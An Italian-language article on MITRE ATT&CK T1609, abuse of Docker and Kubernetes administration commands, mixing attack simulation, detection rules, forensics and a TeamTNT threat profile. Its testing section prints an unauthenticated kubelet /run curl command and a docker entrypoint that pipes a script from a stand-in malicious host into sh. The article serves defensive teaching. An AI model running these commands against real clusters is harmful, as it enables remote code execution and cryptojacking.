Container Administration Command: Abuso dei Servizi di Gestione Container (T1609)

Per testare la resilienza della tua infrastruttura container, inizia verificando i permessi disponibili. In Docker, puoi eseguire comandi arbitrari con:

docker exec -it [container_id] /bin/bash

Se hai accesso a Kubernetes, il comando equivalente diventa:

kubectl exec -it [pod_name] -- /bin/bash

TeamTNT ha dimostrato l'efficacia di questa tecnica eseguendo Hildegard attraverso l'API kubelet con chiamate dirette. Per replicare questo approccio, puoi utilizzare curl contro l'endpoint kubelet non autenticato:

curl -k https://[kubelet_ip]:10250/run/[namespace]/[pod]/[container] -d "cmd=whoami"

Il tool Peirates automatizza molti di questi attacchi. Una volta installato, puoi enumerare i pod disponibili e ottenere shell interattive con pochi comandi. La catena d'attacco tipica prevede discovery iniziale, privilege escalation attraverso service account tokens, e infine execution tramite kubectl o API dirette.

Per simulare l'approccio di Kinsing, crea un container Ubuntu con entrypoint malevolo:

docker run -d --entrypoint="/bin/sh" ubuntu:latest -c "curl http://malicious.site/script.sh | sh"

Siloscape dimostra un approccio più sofisticato utilizzando canali IRC per inviare comandi kubectl a cluster vittima. Questo richiede prima la compromissione di un nodo, poi l'escalation per ottenere credenziali cluster-admin.

Ricorda di testare sempre in ambienti isolati e autorizzati. L'obiettivo è identificare configurazioni deboli come kubelet esposti senza autenticazione, RBAC permissivi, o container running as root.

La detection efficace richiede monitoraggio su più livelli dell'infrastruttura container. Configura alert specifici per catturare l'uso anomalo di comandi di amministrazione.

Nel Docker daemon, monitora i log per pattern di docker exec eseguiti da utenti non autorizzati. Un alert base potrebbe triggerare su:

Event contains "exec" AND user NOT IN [authorized_admin_list]

Per Kubernetes, l'API server audit log diventa fondamentale. Cerca eventi con verbo "exec" o "attach" su risorse pods:

objectRef.resource="pods" AND verb IN ["exec", "attach"]

La frequenza di esecuzione è un indicatore chiave. Baseline il normale utilizzo di kubectl exec nel tuo ambiente - picchi improvvisi spesso indicano attività malevola. Imposta threshold dinamici basati su media mobile degli ultimi 30 giorni.

Gli IP di origine forniscono context prezioso. Comandi di amministrazione dovrebbero provenire solo dal control plane o jump host autorizzati. Alert su:

sourceIP NOT IN [10.0.1.0/24, 10.0.2.0/24] AND action="pod/exec"

Per ridurre i falsi positivi, correla multiple dimensioni: utente anomalo + orario insolito + namespace sensibile = high confidence alert. Integra con il tuo SIEM per arricchire con threat intelligence su IP e user behavior analytics.

Il monitoraggio del kubelet richiede attenzione particolare. Log di accesso diretto all'endpoint /run sono altamente sospetti e meritano investigazione immediata. Configura Falco o simili per detection real-time di execution anomale dentro i container.

La ricostruzione di un abuso container administration richiede correlazione di artefatti da multiple sorgenti. Inizia sempre dall'audit log di Kubernetes che registra ogni interazione API con timestamp precisi.

Nel filesystem del container compromesso, esamina /var/log per tracce di comandi eseguiti. La history bash potrebbe essere cancellata, ma procfs mantiene tracce in /proc/[pid]/cmdline dei processi recenti.

TeamTNT lascia pattern riconoscibili: cerca script con nomi casuali in /tmp, connessioni IRC inusuali, o tentativi di disabilitare security tools. I loro attacchi spesso includono cryptominer, quindi monitora CPU usage anomalo nei container log.

Docker mantiene log dettagliati in /var/lib/docker/containers/[container-id]/[container-id]-json.log. Qui trovi stdout/stderr di tutti i comandi eseguiti, inclusi quelli via docker exec. Timestamp nel log permettono correlazione precisa con eventi di rete.

Per Kubernetes, il kubelet log su ogni nodo (/var/log/kubelet.log) registra execution requests. Cerca pattern come "exec" o "run" seguiti da namespace e pod name. Correla con kube-apiserver audit log per la full picture.

L'analisi di Hildegard mostra execution chain tipica: initial access via misconfigured kubelet, privilege escalation tramite service account token, lateral movement attraverso kubectl exec su altri pod. Ogni step lascia tracce nei rispettivi log.

Memory forensics sui nodi può rivelare processi kubectl o docker client anomali. Volatility con profili Linux appropriati estrae command line arguments che rivelano target pod e comandi eseguiti.

TeamTNT rappresenta il principale threat actor specializzato in container exploitation. Questo gruppo cybercriminale opera principalmente per profitto attraverso cryptojacking, ma le loro tecniche dimostrano sofisticazione crescente. Monitorano attivamente honeypot researcher e adattano rapidamente le loro tattiche.

Il gruppo utilizza infrastructure-as-code per deployment rapido di backdoor containerizzate. Pattern comuni includono scanning massivo per Docker API esposti (porta 2375/2376) e Kubernetes dashboard non protetti. Post-compromise, deployano Hildegard per persistence e lateral movement.

L'arsenale software include Kinsing per cryptomining, spesso deployato via entrypoint malevoli Ubuntu. Siloscape rappresenta l'evoluzione verso target Windows container, indicando espansione delle capacità. La presenza di Peirates suggerisce adoption di tooling open source per Kubernetes attack automation.

Geograficamente, TeamTNT opera da infrastructure distribuite, utilizzando hosting provider permissivi in Eastern Europe e Asia. Command & control spesso attraverso IRC channels su porte non standard, con fallback su DNS tunneling.

Trend emergenti mostrano interesse crescente per supply chain attacks via container image poisoning. Il gruppo experimenta con kernel exploits per container escape, suggerendo evolution verso obiettivi beyond cryptomining. Monitora Docker Hub per immagini con download anomali da maintainer sospetti.

Overlap tooling con altri gruppi cryptomining suggerisce possible marketplace underground per container exploitation tools. La rapidità di adoption di nuove CVE Kubernetes indica monitoring attivo di security disclosure.

Framework MITRE ATT&CK T1609. Analisi comportamentale TeamTNT Hildegard campaign. Kubernetes Security Best Practices documentation. Container runtime security research papers. Real-world incident response container compromise cases.